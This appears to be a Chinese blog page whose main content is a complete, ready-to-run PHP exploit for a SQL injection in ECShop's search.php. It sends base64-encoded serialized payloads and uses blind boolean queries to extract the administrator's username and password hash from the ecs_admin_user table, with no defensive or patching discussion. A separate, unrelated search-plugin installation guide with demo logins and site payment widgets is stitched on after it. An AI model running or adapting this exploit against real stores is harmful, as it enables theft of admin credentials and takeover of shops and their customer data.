ecshop php过滤,ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞

<?php

ini_set("max_execution_time",0);

error_reporting(7);

function usage()

{

global $argv;

exit(

"\n--+++============================================================+++--".

"\n--+++====== ECShop Search.php SQL Injection Exploit========+++--".

"\n--+++============================================================+++--".

"\n\n[+] Author: jannock".

"\n[+] Team: [url]http://wavdb.com/[/url]".

"\n[+] Usage: php ".$argv[0]." <hostname> <path> <goods_id>".

"\n[+] Ex.: php ".$argv[0]." localhost / 1".

"\n\n");

}

function query($pos, $chr, $chs,$goodid)

{

switch ($chs){

case 0:

$query = "1=1";

break;

case 1:

$query = " ascii(substring((select user_name from ecs_admin_user limit 0,1),{$pos},1))={$chr}";

break;

case 2:

$query = " ascii(substring((select password from ecs_admin_user limit 0,1),{$pos},1))={$chr}";

break;

case 3:

$query = " length((select user_name from ecs_admin_user limit 0,1))={$pos}";

break;

}

$list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' union select $goodid,1 from ecs_admin_user where 1=1 and ". $query ."/*"=>"1");

$query = array("attr"=>$list);

$query = str_replace('+', '%2b', base64_encode(serialize($query)));

return $query;

}

function exploit($hostname, $path, $pos, $chr, $chs,$goodid)

{

$chr = ord($chr);

$conn = fsockopen($hostname, 80);

$message = "GET ".$path."/search.php?encode=".query($pos, $chr, $chs,$goodid)." HTTP/1.1\r\n";

$message .= "Host: $hostname\r\n";

$message .= "Connection: Close\r\n\r\n";

fwrite($conn, $message);

while (!feof($conn))

{

$reply .= fgets($conn, 1024);

}

fclose($conn);

return $reply;

}

function crkusername($hostname, $path, $chs,$goodid)

{

global $length;

$key = "abcdefghijklmnopqrstuvwxyz0123456789";

$chr = 0;

$pos = 1;

echo "[+] username: ";

while ($pos <= $length)

{

$response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);

if (preg_match ("/javascript:addToCart/i", $response))

{

echo $key[$chr];

$chr = 0;

$pos++;

}

else

$chr++;

}

echo "\n";

}

function crkpassword($hostname, $path, $chs,$goodid)

{

$key = "abcdef0123456789";

$chr = 0;

$pos = 1;

echo "[+] password: ";

while ($pos <= 32)

{

$response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);

if (preg_match ("/javascript:addToCart/i", $response))

{

echo $key[$chr];

$chr = 0;

$pos++;

}

else

$chr++;

}

echo "\n\n";

}

function lengthcolumns($hostname, $path,$chs, $goodid)

{

echo "[+] username length: ";

$exit = 0;

$length = 0;

$pos = 1;

$chr = 0;

while ($exit==0)

{

$response = exploit($hostname, $path, $pos, $chr, $chs,$goodid);

if (preg_match ("/javascript:addToCart/i", $response))

{

$exit = 1;

$length = $pos;

break;

}

else

{

$pos++;

if($pos>20)

{

exit("Exploit failed");

}

}

}

echo $length."\n";

return $length;

}

if ($argc != 4)

usage();

$hostname = $argv[1];

$path = $argv[2];

$goodid = $argv[3];

$length = lengthcolumns($hostname, $path, 3, $goodid);

crkusername($hostname, $path, 1,$goodid);

crkpassword($hostname, $path, 2,$goodid);

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
安装说明: 1. 复制search 目录到网站根目录,请不要修改此文件夹的名称 2. 初次安装, 访问: 域名/search/baseline.php 例如:你的域名是www.ahuoo.com, 那么请访问 www.ahuoo.com/search/baseline.php 3. 修改代码 1.先备份网站根目录的search.php,然后用插件里面的替换掉 2.在模版中找到商品搜索页中的商品名称显示语句,有些模版在library/search_goods_list.lbi文件中,如果没有search_goods_list.lbi文件那就在search.dwt文件中。 语句如: <a href="{$goods.url}" title="{$goods.goods_name|escape:html}" class="name">{$goods.goods_name}</a> 将其中的{$goods.goods_name}改为{$goods.new_goods_name} 3. 在admin\goods.php文件中找到如下代码: sys_msg($is_insert ? $_LANG['add_goods_ok'] : $_LANG['edit_goods_ok'], 0, $link); 在此代码上一行前添加如下代码: require_once ('../search/delta.php'); //ahuoo 4. 在admin\category.php文件中找到如下代码: sys_msg($_LANG['catedit_succed'], 0, $link); 在此代码上一行前添加如下代码: require_once ('../search/delta.php'); //ahuoo 4. 如果需要添加自定义关键词可访问: 域名/search/add_word.php 一般情况下是不需要的。 插件原理: Ecshop默认情况下搜索是根据数据库按搜索的字符串去匹配,不能自动根据需要去自动分词。 例如:你搜索“李宁安踏” 标题里面必须要有“李宁安踏”才能出来, 如果某个商品标题只有“李宁”是不会出来的,这样对于普通的用户是不友好的。 本插件提供的功能: 1.提供一种强大的分词搜索,用户可以不用空格某几个分词,随便打一个句子就可以搜索出对应的结果 2.可以自定义分词。 3.搜索结果自动按照相关度排序,相关度越相关,越排在最前面。 插件为试用版,如果正式使用可以联系作者购买,当前只索引了商品的标题和分类信息,如果需要索引商品详情可以定制化开发,shopex也会有对应的版本。 插件作者 :阿虎 QQ:1976468723 演示地址: 前台:http://ahuoo.com/ec/search.php?encode=YTo0OntzOjg6ImNhdGVnb3J5IjtzOjE6IjAiO3M6ODoia2V5d29yZHMiO3M6MTI6IuiBlOmAmuS4ieaYnyI7czoxMDoiaW1hZ2VGaWVsZCI7czowOiIiO3M6MTg6InNlYXJjaF9lbmNvZGVfdGltZSI7aToxNDQ5MDYxNTAzO30= 后台: http://ahuoo.com/ec/admin 用户名/密码:test/test123
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值